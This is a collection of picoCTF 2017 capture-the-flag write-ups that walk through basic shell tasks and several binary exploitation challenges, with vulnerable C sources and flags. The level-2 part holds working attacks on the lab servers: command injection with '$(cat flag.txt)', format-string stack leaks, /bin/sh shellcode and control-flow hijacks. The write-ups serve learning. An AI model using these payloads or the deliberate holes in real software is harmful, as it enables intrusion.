Inspector (I use Chrome), in the "Source" tab search for `client.js` file (hitting CMD/CTRL+P or searching on the left sidebar). Now you can edit the JS file locally at runtime. You have just to change the `validate` function: 16 | 17 | ```js 18 | //Validate the password. TBD! 19 | function validate(pword){ 20 | //TODO: Implement me 21 | return true; 22 | } 23 | ``` 24 | 25 | Save the file hitting CMD/CTRL+S and (without reloading the page) hit the "Submit" button. The flag wil be appended after the form. 26 | 27 | ### Flag 28 | ``` 29 | client_side_is_the_dark_sidea99c64effed2c2f1c9347eff536e949c 30 | ``` -------------------------------------------------------------------------------- /level-1/misc/internet-kitties/README.md: -------------------------------------------------------------------------------- 1 | # Internet Kitties 2 | ## Level 1 - misc - 10 points 3 | 4 | ### Description 5 | > I was told there was something at IP shell2017.picoctf.com with port 40660. How do I get there? Do I need a ship for the port? 6 | 7 | ### Hints 8 | > * Look at using the netcat (nc) command! 9 | > * To figure out how to use it, you can run "man nc" or "nc -h" on the shell, or search for it on the interwebz 10 | 11 | ### Solution 12 | 13 | Basic question, we can solve it with the `nc` command: 14 | 15 | ``` 16 | $ nc shell2017.picoctf.com 40660 17 | Yay! You made it! 18 | Take a flag! 19 | fba9c41f9f0326b53919a2ab1ff20a69 20 | ``` 21 | 22 | ### Flag 23 | ``` 24 | fba9c41f9f0326b53919a2ab1ff20a69 25 | ``` -------------------------------------------------------------------------------- /level-1/misc/leaf-of-the-forest/README.md: -------------------------------------------------------------------------------- 1 | # Leaf Of The Forest 2 | ## Level 1 - misc - 30 points 3 | 4 | ### Description 5 | > We found an even bigger directory tree hiding a flag starting at /problems/7d91c03dff81a9c95bffb6d69358c92d. It would be impossible to find the file named flag manually... 6 | 7 | ### Hints 8 | > * Is there a search function in Linux? Like if I wanted to 'find' something... 9 | 10 | ### Solution 11 | 12 | The solution is the same of [Leaf Of The Tree](../leaf-of-the-tree), `cd` the folder, use `find` to search the flag file and `cat` it. We can merge `find` and `cat` in a single command with backticks (assuming there is just one file named `flag`): 13 | 14 | ``` 15 | $ cd /problems/7d91c03dff81a9c95bffb6d69358c92d 16 | $ cat `find -name flag` 17 | 7ffb59b2f309c09959ba333d0af88565 18 | ``` 19 | 20 | ### Flag 21 | ``` 22 | 7ffb59b2f309c09959ba333d0af88565 23 | ``` -------------------------------------------------------------------------------- /level-1/misc/leaf-of-the-tree/README.md: -------------------------------------------------------------------------------- 1 | # Leaf Of The Tree 2 | ## level 1 - misc - 20 points 3 | 4 | ### Description 5 | > We found this annoyingly named directory tree starting at /problems/5da315e9c7f1c9886ea371abee5ae8d0. It would be pretty lame to type out all of those directory names but maybe there is something in there worth finding? And maybe we dont need to type out all those names...? Follow the trunk, using cat and ls! 6 | 7 | ### Hints 8 | > * Tab completion is a wonderful, wonderful thing 9 | 10 | ### Solution 11 | 12 | Connect with `ssh` to the server (or use web terminal) and `cd` into `/problems/88518d23aee7ee21e50bdd8414a404c1`. To find where the flag file is we can use the `find` command: 13 | 14 | ``` 15 | $ cd /problems/5da315e9c7f1c9886ea371abee5ae8d0 16 | $ find -name flag 17 | ./trunk/trunke655/trunk8845/trunk9942/trunk2d10/trunk55d8/trunke715/trunkb041/flag 18 | ``` 19 | 20 | Now we have the path, just `cat` it: 21 | 22 | ``` 23 | $ cat ./trunk/trunke655/trunk8845/trunk9942/trunk2d10/trunk55d8/trunke715/trunkb041/flag 24 | 42eed2e89ae8b05b56555f65e0ab81aa 25 | ``` 26 | 27 | ### Flag 28 | ``` 29 | 42eed2e89ae8b05b56555f65e0ab81aa 30 | ``` -------------------------------------------------------------------------------- /level-1/misc/looooong/README.md: -------------------------------------------------------------------------------- 1 | # looooong 2 | ## Level 1 - misc - 20 points 3 | 4 | ### Description 5 | > I heard you have some "delusions of grandeur" about your typing speed. How fast can you go at shell2017.picoctf.com:30277? 6 | 7 | ### Hints 8 | > * Use the nc command to connect! 9 | > * I hear python is a good means (among many) to generate the needed input. 10 | > * It might help to have multiple windows open 11 | 12 | ### Solution 13 | 14 | Use the `nc` command to connect: 15 | 16 | ``` 17 | nc shell2017.picoctf.com 30277 18 | To prove your skills, you must pass this test. 19 | Please give me the 'j' character '728' times, followed by a single '7'. 20 | To make things interesting, you have 30 seconds. 21 | Input: 22 | AAA 23 | WRONG! 24 | ``` 25 | 26 | Connecting a couple of times reveals that we have to write a string with a defined pattern, a character N times followed by a single different character. The easiest method to solve is open two terminal windows, one running `nc` connection and the other one to generate the string using Python/bash/your favourite language. 27 | 28 | Instead I preferred solve it automagically with a Python script: 29 | 30 | ```python 31 | import re, socket 32 | 33 | URL = 'shell2017.picoctf.com' 34 | PORT = 30277 35 | CHUNK_SIZE = 1024 36 | 37 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 38 | sock.connect((URL, PORT)) 39 | 40 | raw = sock.recv(CHUNK_SIZE) 41 | req = raw.split('\n')[1] 42 | match = re.match(r'Please give me the \'(.)\' character \'(\d+)\' times, followed by a single \'(.)\'', req, re.M|re.I) 43 | resp = match.groups()[0] * int(match.groups()[1]) + match.groups()[2] 44 | 45 | sock.send(resp + '\n') 46 | print sock.recv(CHUNK_SIZE) 47 | sock.close() 48 | ``` 49 | 50 | It will connect, parse the request, craft the string and print out the response with the flag: 51 | 52 | ``` 53 | $ python loooooong.py 54 | 55 | You got it! You're super quick! 56 | Flag: with_some_recognition_and_training_delusions_become_glimpses_493092611815c4e8f8eee8df7264c4c0 57 | ``` 58 | 59 | ### Flag 60 | ``` 61 | with_some_recognition_and_training_delusions_become_glimpses_493092611815c4e8f8eee8df7264c4c0 62 | ``` -------------------------------------------------------------------------------- /level-1/misc/piazza/README.md: -------------------------------------------------------------------------------- 1 | # Piazza 2 | ## Level 1 - misc - 10 points 3 | 4 | ### Description 5 | > Have questions about pico? You can ask [here](http://piazza.com/picoctf/spring2017/31337). The access code is 31337. 6 | 7 | ### Hints 8 | > * (Really do you need an hint?) 9 | 10 | ### Solution 11 | 12 | Just follow the instructions on screen and enroll to the class. The flag is in the "Welcome" pinned post. 13 | 14 | ### Flag 15 | ``` 16 | flag{ask_and_hop3fully_we_can_help} 17 | ``` 18 | -------------------------------------------------------------------------------- /level-1/misc/world-chat/README.md: -------------------------------------------------------------------------------- 1 | # World Chat 2 | ## Level 1 - misc - 30 points 3 | 4 | ### Description 5 | > We think someone is trying to transmit a flag over WorldChat. Unfortunately, there are so many other people talking that we can't really keep track of what is going on! Go see if you can find the messenger at shell2017.picoctf.com:48145. Remember to use Ctrl-C to cut the connection if it overwhelms you! 6 | 7 | ### Hints 8 | > * There are cool command line tools that can filter out lines with specific keywords in them. Check out 'grep'! You can use the '|' character to put all the output into another process or command (like the grep process) 9 | 10 | ### Solution 11 | 12 | If you connect with `nc` to the URL specified in the description you will be steamrolled by the messages of the users. To print only useful messages you can use the `grep` command: 13 | 14 | ``` 15 | $ nc shell2017.picoctf.com 48145 | grep flag 16 | 16:58:09 ihazflag: that girl from that movie totally understands me and my pet sloth to drink your milkshake 17 | 16:58:09 ihazflag: A silly panda would like to meet you to make a rasberry pie 18 | 16:58:10 whatisflag: my homegirlz want to see me to understand me 19 | 16:58:10 personwithflag: Only us give me hope for the future of humanity 20 | 16:58:10 noihazflag: your dad has attacked my toes to generate fusion power 21 | 16:58:10 ihazflag: A huge moose would like to meet you to drink your milkshake 22 | 16:58:11 whatisflag: A small moose wants to steal my sloth to generate fusion power 23 | 16:58:11 ihazflag: Anyone but me is our best chance to understand me 24 | 16:58:11 ihazflag: We want to see me to help me spell 'raspberry' correctly 25 | 16:58:11 noihazflag: your dad would like to meet you to understand me 26 | 16:58:11 noihazflag: We will never be able to drink your milkshake 27 | 16:58:12 flagperson: this is part 1/8 of the flag - 748a 28 | 16:58:12 flagperson: this is part 2/8 of the flag - 3a37 29 | 16:58:13 noihazflag: We will never be able to help me spell 'raspberry' correctly 30 | 16:58:13 ihazflag: Only us are the best of friends for what, I do not know 31 | ``` 32 | 33 | There are still junk messages, but we learned that the flag is divided in 8 parts, so we can `grep` using `flagperson` as condition and get the full flag: 34 | 35 | ``` 36 | $ nc shell2017.picoctf.com 48145 | grep flagperson 37 | 17:01:40 flagperson: this is part 1/8 of the flag - 748a 38 | 17:01:41 flagperson: this is part 2/8 of the flag - 3a37 39 | 17:01:45 flagperson: this is part 3/8 of the flag - ce62 40 | 17:01:52 flagperson: this is part 4/8 of the flag - e537 41 | 17:01:58 flagperson: this is part 5/8 of the flag - 4552 42 | 17:01:59 flagperson: this is part 6/8 of the flag - c31f 43 | 17:02:02 flagperson: this is part 7/8 of the flag - 5319 44 | 17:02:04 flagperson: this is part 8/8 of the flag - 30dc 45 | ``` 46 | 47 | Now we have all the parts, just join them with a text editor and we have the challenge. 48 | 49 | ### Flag 50 | ``` 51 | 748a3a37ce62e5374552c31f531930dc 52 | ``` -------------------------------------------------------------------------------- /level-1/reverse-engineering/hex2raw/README.md: -------------------------------------------------------------------------------- 1 | # Hex2Raw 2 | ## Level 1 - reverse engineering - 20 points 3 | 4 | ### Description 5 | > This program requires some unprintable characters as input... But how do you print unprintable characters? CLI yourself to /problems/88518d23aee7ee21e50bdd8414a404c1 and turn that Hex2Raw! 6 | 7 | ### Hints 8 | > * Google for easy techniques of getting raw output to command line. In this case, you should be looking for an easy solution. 9 | 10 | ### Solution 11 | 12 | Connect with `ssh` to the server (or use web terminal) and `cd` into `/problems/88518d23aee7ee21e50bdd8414a404c1`. The executable `hex2bin` will translate every character given in correnspondant ASCII hex representation: 13 | 14 | ``` 15 | $ ./hex2raw 16 | Give me this in raw form (0x41 -> 'A'): 17 | 7ca67167db329a5d1508cc4ad5380678 18 | 19 | You gave me: 20 | A 21 | 410a 22 | ``` 23 | 24 | The executable wants `7ca67167db329a5d1508cc4ad5380678` in raw form to print the key. You can convert easily the string in data using `xxd`, but part of bytes are not printable. Instead you have to pipe the data directly into `hex2raw`: 25 | 26 | ``` 27 | $ echo 7ca67167db329a5d1508cc4ad5380678 | xxd -r -p | ./hex2raw 28 | Give me this in raw form (0x41 -> 'A'): 29 | 7ca67167db329a5d1508cc4ad5380678 30 | 31 | You gave me: 32 | 7ca67167db329a5d1508cc4ad5380678 33 | Yay! That's what I wanted! Here be the flag: 34 | 75d3080d00407fa709c18a6cc69d1edc 35 | ``` 36 | 37 | ### Flag 38 | ``` 39 | 75d3080d00407fa709c18a6cc69d1edc 40 | ``` -------------------------------------------------------------------------------- /level-1/reverse-engineering/raw2hex/README.md: -------------------------------------------------------------------------------- 1 | # Raw2Hex 2 | ## Level 1 - reverse engineering - 20 points 3 | 4 | ### Description 5 | > This program just prints a flag in raw form. All we need to do is convert the output to hex and we have it! CLI yourself to /problems/87c7dd790daa359b529f1a24e9f8763f and turn that Raw2Hex! 6 | 7 | ### Hints 8 | > * Google is always very helpful in these circumstances. In this case, you should be looking for an easy solution. 9 | 10 | ### Solution 11 | 12 | Connect with `ssh` then `cd` into `/problems/87c7dd790daa359b529f1a24e9f8763f`. Executing `raw2hex` prints this: 13 | 14 | ``` 15 | $ ./raw2hex 16 | The flag is:7JM^B 17 | ``` 18 | 19 | In this case we have to perform the reverse operation: take the output of `raw2hex` and convert in hex format. We have to use `cut` to take only the part after `:`, then convert it to hex: 20 | 21 | ``` 22 | $ ./raw2hex | cut -d : -f 2 | xxd -p 23 | f4f47fac37994a4dbe5e15b9c342891b0a 24 | ``` 25 | 26 | ### Flag 27 | ``` 28 | f4f47fac37994a4dbe5e15b9c342891b0a 29 | ``` -------------------------------------------------------------------------------- /level-1/web-exploitation/what-is-web/README.md: -------------------------------------------------------------------------------- 1 | # What Is Web 2 | ## Level 1 - web exploitation - 20 points 3 | 4 | ### Description 5 | > Someone told me that [some guy](https://en.wikipedia.org/wiki/Tim_Berners-Lee) came up with the "World Wide Web", using "HTML" and "stuff". Can you help me figure out what that is? [Website](http://shell2017.picoctf.com:58191/). 6 | 7 | ### Hints 8 | > * How can you figure out how the webpage is actually built? 9 | 10 | ### Solution 11 | 12 | The flag is split in three parts and hidden in three different files: 13 | 14 | #### First part: `index.html` 15 | ```html 16 | 17 | 18 | 19 | ``` 20 | 21 | #### Second part: `hacker.css` 22 | ```css 23 | /* 24 | This is the css file. It contains information on how to graphically display 25 | the page. It is in a seperate file so that multiple pages can all use the same 26 | one. This allows them all to be updated by changing just this one. 27 | The second part of the flag is e8e0c84cc61 28 | */ 29 | ``` 30 | 31 | #### Third part: `script.js` 32 | ```js 33 | /* This is a javascript file. It contains code that runs locally in your 34 | * browser, although it has spread to a large number of other uses. 35 | * 36 | * The final part of the flag is 2a79d2dc833 37 | */ 38 | ``` 39 | 40 | ### Flag 41 | ``` 42 | 4eabea7c5b1e8e0c84cc612a79d2dc833 43 | ``` -------------------------------------------------------------------------------- /level-2/binary-exploitation/flagsay-1/README.md: -------------------------------------------------------------------------------- 1 | # Flagsay 1 2 | ## level 2 - binary exploitation 3 | 4 | ### Description 5 | > I heard you like flags, so now you can make your own! Exhilarating! Use [flagsay-1](./data/flagsay-1)! [Source](./data/flagsay-1.c). Connect on shell2017.picoctf.com:12442. 6 | 7 | ### Hints 8 | > * System will run exactly what the program gives it 9 | 10 | ### Solution 11 | 12 | Connect with `nc` and prompt some string: 13 | 14 | ``` 15 | $ nc shell2017.picoctf.com 12442 16 | hello 17 | _ 18 | //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 19 | //hello / 20 | // / 21 | // / 22 | // / 23 | // / 24 | // / 25 | //___________________________________/ 26 | // 27 | // 28 | // 29 | // 30 | // 31 | // 32 | ``` 33 | 34 | A flag with our string will be printed. Let's look at the source how it's done: we don't have a `printf` function to show on screen, instead it calls `system` with `/bin/echo` and the flag string as parameter. As the hint suggests the software didn't any validation on input, so we can evaluate commands into `echo`: 35 | 36 | ``` 37 | $ nc shell2017.picoctf.com 12442 38 | $(ls) 39 | _ 40 | //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 41 | //flagsay-1 42 | flagsay-1_no_aslr 43 | flag.txt 44 | xinetd_wrapper.sh / 45 | // / 46 | // / 47 | // / 48 | // / 49 | // / 50 | //___________________________________/ 51 | // 52 | // 53 | // 54 | // 55 | // 56 | // 57 | ``` 58 | 59 | Now we have the list of files in current folder, just `cat` the flag out: 60 | 61 | ``` 62 | nc shell2017.picoctf.com 12442 63 | $(cat flag.txt) 64 | _ 65 | //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 66 | //6116b5c621137949e3f70fd31f7cc29a / 67 | // / 68 | // / 69 | // / 70 | // / 71 | // / 72 | //___________________________________/ 73 | // 74 | // 75 | // 76 | // 77 | // 78 | // 79 | ``` 80 | 81 | ### Flag 82 | ``` 83 | 6116b5c621137949e3f70fd31f7cc29a 84 | ``` -------------------------------------------------------------------------------- /level-2/binary-exploitation/flagsay-1/data/flagsay-1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-2/binary-exploitation/flagsay-1/data/flagsay-1 -------------------------------------------------------------------------------- /level-2/binary-exploitation/flagsay-1/data/flagsay-1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define FIRSTCHAROFFSET 129 6 | #define LINELENGTH 35 7 | #define NEWLINEOFFSET 21 8 | #define LINECOUNT 6 9 | 10 | #define BUFFLEN 1024 11 | 12 | char flag[] = " _ \n" 13 | " //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n" 14 | " // / \n" 15 | " // / \n" 16 | " // / \n" 17 | " // / \n" 18 | " // / \n" 19 | " // / \n" 20 | " //___________________________________/ \n" 21 | " // \n" 22 | " // \n" 23 | " // \n" 24 | " // \n" 25 | " // \n" 26 | " // \n"; 27 | 28 | char commandBase[] = "/bin/echo \"%s\"\n"; 29 | 30 | void placeInFlag(char * str){ 31 | char * ptr = flag + FIRSTCHAROFFSET; 32 | char * lastInLine = ptr + LINELENGTH; 33 | size_t charRemaining = strlen(str); 34 | size_t linesDone = 0; 35 | while(charRemaining > 0 && linesDone < LINECOUNT){ 36 | if(ptr == lastInLine){ 37 | ptr += NEWLINEOFFSET; 38 | lastInLine += NEWLINEOFFSET + LINELENGTH; 39 | linesDone++; 40 | continue; 41 | } 42 | ptr[0] = str[0]; 43 | ptr++; 44 | str++; 45 | charRemaining--; 46 | } 47 | 48 | } 49 | 50 | 51 | 52 | int main(int argc, char **argv){ 53 | size_t flagSize = strlen(flag) + 1; //need to remember null terminator 54 | char * input = (char *)malloc(sizeof(char) * flagSize); 55 | input[flagSize-1] = '\x0'; 56 | fgets(input, flagSize, stdin); 57 | char * temp = strchr(input, '\n'); 58 | if(temp != NULL){ 59 | temp[0] = '\x0'; 60 | } 61 | placeInFlag(input); 62 | 63 | size_t commandLen = flagSize + strlen(commandBase) + 1; 64 | char * command = (char *)malloc(sizeof(char) * commandLen); 65 | snprintf(command, commandLen, commandBase, flag); 66 | system(command); 67 | 68 | free(input); 69 | free(command); 70 | } 71 | 72 | 73 | -------------------------------------------------------------------------------- /level-2/binary-exploitation/guess-the-number/README.md: -------------------------------------------------------------------------------- 1 | # Guess The Number 2 | ## level 2 - binary exploitation - 75 points 3 | 4 | ### Description 5 | > Just a simple number-guessing game. How hard could it be? [Binary](./data/guess_num) [Source](./data/guess_num.c). Connect on shell2017.picoctf.com:30919. 6 | 7 | ### Hints 8 | > * What is the program doing with your input number? 9 | > * strtol checks for overflow but it does allow negative numbers... 10 | 11 | ### Solution 12 | 13 | The code is slightly different from previous challenges: in this one instead of providing shellcode to execute we have to submit the address of the pointer of `win` function to get the shell. 14 | 15 | First of all, let's find `win` function address with `gdb`: 16 | 17 | ``` 18 | $ gdb guess_num 19 | GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 20 | ... 21 | Reading symbols from guess_num...(no debugging symbols found)...done. 22 | (gdb) print win 23 | $1 = {} 0x804852b 24 | ``` 25 | 26 | So the address is `0x804852b`. Before execute the instruction at pointer we gave it shifts right by 4 bits, so before submitting we have to shift left by 4. The result decimal number is 2,152,223,408. 27 | 28 | Sadly t,he number we found overflows 32-bit `long` type, so `strtol` cuts it to 2,147,483,647 (2^31 - 1). So what can we do? 29 | 30 | The binary representation of the "address number" is `10000000010010000101001010110000`. We know that the most significant bit is used for sign control, so we can convert the number in decimal removing last bit, then add to the minimum 32-bit `long` plus one (the overflow) to get the number to submit. The "address number" without sign bit in decimal is 4,739,760, then the number to submit will be -2,142,743,888: 31 | 32 | ``` 33 | $ nc shell2017.picoctf.com 30919 34 | Welcome to the number guessing game! 35 | I'm thinking of a number. Can you guess it? 36 | Guess right and you get a shell! 37 | Enter your number: -2142743888 38 | You entered -2142743888. Let's see if it was right... 39 | Congratulations! Have a shell: 40 | /bin/sh: 0: can't access tty; job control turned off 41 | $ cat flag.txt 42 | d1ec8d4078eac1112548c1a6a00cfe07 43 | ``` 44 | 45 | ### Flag 46 | ``` 47 | d1ec8d4078eac1112548c1a6a00cfe07 48 | ``` -------------------------------------------------------------------------------- /level-2/binary-exploitation/guess-the-number/data/guess_num: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-2/binary-exploitation/guess-the-number/data/guess_num -------------------------------------------------------------------------------- /level-2/binary-exploitation/guess-the-number/data/guess_num.c: -------------------------------------------------------------------------------- 1 | /* How well do you know your numbers? */ 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | void win(void) { 8 | printf("Congratulations! Have a shell:\n"); 9 | system("/bin/sh -i"); 10 | } 11 | 12 | int main(int argc, char **argv) { 13 | uintptr_t val; 14 | char buf[32] = ""; 15 | 16 | /* Turn off buffering so we can see output right away */ 17 | setbuf(stdout, NULL); 18 | 19 | printf("Welcome to the number guessing game!\n"); 20 | printf("I'm thinking of a number. Can you guess it?\n"); 21 | printf("Guess right and you get a shell!\n"); 22 | 23 | printf("Enter your number: "); 24 | scanf("%32s", buf); 25 | val = strtol(buf, NULL, 10); 26 | 27 | printf("You entered %d. Let's see if it was right...\n", val); 28 | 29 | val >>= 4; 30 | ((void (*)(void))val)(); 31 | } 32 | -------------------------------------------------------------------------------- /level-2/binary-exploitation/ive-got-a-secret/README.md: -------------------------------------------------------------------------------- 1 | # Ive Got A Secret 2 | ## level 2 - binary exploitation - 75 points 3 | 4 | ### Description 5 | > Hopefully you can find the right format for my [secret](./data/secret)! [Source](./data/secret.c). Connect on shell2017.picoctf.com:42684. 6 | 7 | ### Hints 8 | > * This is a beginning format string attack. 9 | 10 | 11 | ### Solution 12 | 13 | As suggested this is a [format string attack](https://www.owasp.org/index.php/Format_string_attack). The vulnerability is in line 24, where the buffer is mistakely passed as format and not as value to replace. 14 | 15 | Connect with `nc` and it will prompt us for some text: 16 | 17 | ``` 18 | $ nc shell2017.picoctf.com 42684 19 | Give me something to say! 20 | hello 21 | hello 22 | Now tell my secret in hex! Secret: hello 23 | As my friend says,"You get nothing! You lose! Good day, Sir!" 24 | ``` 25 | 26 | We will prompt twice: the first time will be printed out with `printf`, the second one will check if the hex we sent is equal to a random value from `/dev/urandom`. 27 | 28 | In the first request we can submit a format string to be printed out next with `printf`, so sending several `%x` il will print the stack, including the random variable assigned: 29 | 30 | ``` 31 | $ nc shell2017.picoctf.com 42684 32 | Give me something to say! 33 | %x %x %x %x %x %x %x %x 34 | 40 f7fc7c20 8048792 1 ffffdd34 7ea62dd6 3 f7fc73c4 35 | Now tell my secret in hex! Secret: 36 | ``` 37 | 38 | Now we have the stack! To understand which hex is the correct one, just run the same string several times and check for changes, in our case in the sixth variable. Submit it and you will have the flag: 39 | 40 | ``` 41 | $ nc shell2017.picoctf.com 42684 42 | Give me something to say! 43 | %x %x %x %x %x %x %x %x 44 | 40 f7fc7c20 8048792 1 ffffdd34 1ead97b4 3 f7fc73c4 45 | Now tell my secret in hex! Secret: 1ead97b4 46 | 65aaf5d76d7fa708642cf1ab573ebf58 47 | Wow, you got it! 48 | ``` 49 | 50 | ### Flag 51 | ``` 52 | 65aaf5d76d7fa708642cf1ab573ebf58 53 | ``` -------------------------------------------------------------------------------- /level-2/binary-exploitation/ive-got-a-secret/data/secret: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-2/binary-exploitation/ive-got-a-secret/data/secret -------------------------------------------------------------------------------- /level-2/binary-exploitation/ive-got-a-secret/data/secret.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define BUF_LEN 64 7 | char buffer[BUF_LEN]; 8 | 9 | int main(int argc, char** argv) { 10 | int fd = open("/dev/urandom", O_RDONLY); 11 | if(fd == -1){ 12 | puts("Open error on /dev/urandom. Contact an admin\n"); 13 | return -1; 14 | } 15 | int secret; 16 | if(read(fd, &secret, sizeof(int)) != sizeof(int)){ 17 | puts("Read error. Contact admin!\n"); 18 | return -1; 19 | } 20 | close(fd); 21 | printf("Give me something to say!\n"); 22 | fflush(stdout); 23 | fgets(buffer, BUF_LEN, stdin); 24 | printf(buffer); 25 | 26 | int not_secret; 27 | printf("Now tell my secret in hex! Secret: "); 28 | fflush(stdout); 29 | scanf("%x", ¬_secret); 30 | if(secret == not_secret){ 31 | puts("Wow, you got it!"); 32 | system("cat ./flag.txt"); 33 | }else{ 34 | puts("As my friend says,\"You get nothing! You lose! Good day, Sir!\""); 35 | } 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /level-2/binary-exploitation/shells/README.md: -------------------------------------------------------------------------------- 1 | # Shells 2 | ## level 2 - binary exploitation - 70 points 3 | 4 | ### Description 5 | > How much can a couple bytes do? Use [shells](./data/shells)! [Source](./data/shells.c). Connect on shell2017.picoctf.com:17533. 6 | 7 | ### Hints 8 | > * Read about basic shellcode 9 | > * You don't need a full shell (yet...), just enough to get the flag 10 | 11 | ### Description 12 | 13 | Like the [previous challenge](../shellz) we can inject some shellcode to perform arbitrary actions, but this time the byte constraint is stricter: only 10 bytes. The other difference is the `win` function, now uncommented and so compiled. So the plan is: 14 | 15 | * Search for `win` function address 16 | * Assemble shellcode to jump to `win` function 17 | * Inject shellcode with Python 18 | 19 | To retrieve `win` function address I used `gdb`: 20 | 21 | ``` 22 | $ gdb shells 23 | GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 24 | ... 25 | Reading symbols from shells...(no debugging symbols found)...done. 26 | (gdb) print win 27 | $1 = {} 0x8048540 28 | ``` 29 | 30 | So, `win` function address is `0x8048540`. Now we have to craft the shellcode: the assembly code to go to `win` function is this: 31 | 32 | ```asm 33 | push 0x8048540 34 | ret 35 | ``` 36 | 37 | We can use an [online assembler](https://defuse.ca/online-x86-assembler.htm) to get the bytes or use `nasm` to assemble locally: write in a `.s` file the source of ASM code to assembly and run `nasm`, then retrieve the shellcode with `objdump`: 38 | 39 | ``` 40 | $ nasm -f elf shells.o 41 | $ objdump -d shells.o 42 | 43 | shells.o: file format elf32-i386 44 | 45 | 46 | Disassembly of section .text: 47 | 48 | 00000000 <.text>: 49 | 0: 68 40 85 04 08 push $0x8048540 50 | 5: c3 ret 51 | ``` 52 | 53 | So the shellcode is `\x68\x40\x85\x04\x08\xc3`, now we can use Python like previous challenge to submit and get the flag: 54 | 55 | ``` 56 | $ (python -c 'print "\x68\x40\x85\x04\x08\xc3"'; cat -) | nc shell2017.picoctf.com 17533 57 | My mother told me to never accept things from strangers 58 | How bad could running a couple bytes be though? 59 | Give me 10 bytes: 60 | 4350d27b024f8597f10b98f164f0fc43 61 | ``` 62 | 63 | ### Flag 64 | ``` 65 | 4350d27b024f8597f10b98f164f0fc43 66 | ``` -------------------------------------------------------------------------------- /level-2/binary-exploitation/shells/data/shells: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-2/binary-exploitation/shells/data/shells -------------------------------------------------------------------------------- /level-2/binary-exploitation/shells/data/shells.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define AMOUNT_OF_STUFF 10 7 | 8 | //TODO: Ask IT why this is here 9 | void win(){ 10 | system("/bin/cat ./flag.txt"); 11 | } 12 | 13 | 14 | void vuln(){ 15 | char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); 16 | if(stuff == MAP_FAILED){ 17 | printf("Failed to get space. Please talk to admin\n"); 18 | exit(0); 19 | } 20 | printf("Give me %d bytes:\n", AMOUNT_OF_STUFF); 21 | fflush(stdout); 22 | int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF); 23 | if(len == 0){ 24 | printf("You didn't give me anything :("); 25 | exit(0); 26 | } 27 | void (*func)() = (void (*)())stuff; 28 | func(); 29 | } 30 | 31 | int main(int argc, char*argv[]){ 32 | printf("My mother told me to never accept things from strangers\n"); 33 | printf("How bad could running a couple bytes be though?\n"); 34 | fflush(stdout); 35 | vuln(); 36 | return 0; 37 | } 38 | -------------------------------------------------------------------------------- /level-2/binary-exploitation/shellz/README.md: -------------------------------------------------------------------------------- 1 | # Shellz 2 | ## level 2 - binary exploitation - 55 points 3 | 4 | ### Description 5 | > You no longer have an easy thing to call, but you have more space. Program: [shellz](./data/shellz)! [Source](./data/shellz.c). Connect on shell2017.picoctf.com:6942. 6 | 7 | ### Hints 8 | > * There is a bunch of preexisting shellcode already out there! 9 | 10 | 11 | ### Solution 12 | 13 | Connect via `nc`, it will prompt you a message: 14 | 15 | ``` 16 | $ nc shell2017.picoctf.com 6942 17 | My mother told me to never accept things from strangers 18 | How bad could running a couple bytes be though? 19 | Give me 40 bytes: 20 | ``` 21 | 22 | It will ask for (at most) 40 bytes of data then exit. Looking into the source we can notice something peculiar: 23 | 24 | ```c 25 | char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); 26 | // ... 27 | void (*func)() = (void (*)())stuff; 28 | func(); 29 | ``` 30 | 31 | Line 27 will create a function pointer to the bytes we provided, then it will be called in line 28, so we can use input to inject arbitrary [shellcode](https://en.wikipedia.org/wiki/Shellcode) to get access to shell. 32 | 33 | I looked for a suitable shellcode (remeber the 40 bytes constraint) [here](http://shell-storm.org/shellcode/) and I chose [shellcode-752](http://shell-storm.org/shellcode/files/shellcode-752.php). To send data to `nc` we can use Python, remember we have to use `cat` to keep the shell open: 34 | 35 | ```shell 36 | (python -c 'print "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"'; cat -) | nc shell2017.picoctf.com 6942 37 | ``` 38 | 39 | Once run just type normal shell commands: 40 | 41 | ``` 42 | My mother told me to never accept things from strangers 43 | How bad could running a couple bytes be though? 44 | Give me 40 bytes: 45 | ls 46 | flag.txt 47 | shellz 48 | shellz_no_aslr 49 | xinetd_wrapper.sh 50 | cat flag.txt 51 | 4effa67d6909029fd3cc45600f024e3f 52 | ``` 53 | 54 | ### Flag 55 | ``` 56 | 4effa67d6909029fd3cc45600f024e3f 57 | ``` -------------------------------------------------------------------------------- /level-2/binary-exploitation/shellz/data/shellz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-2/binary-exploitation/shellz/data/shellz -------------------------------------------------------------------------------- 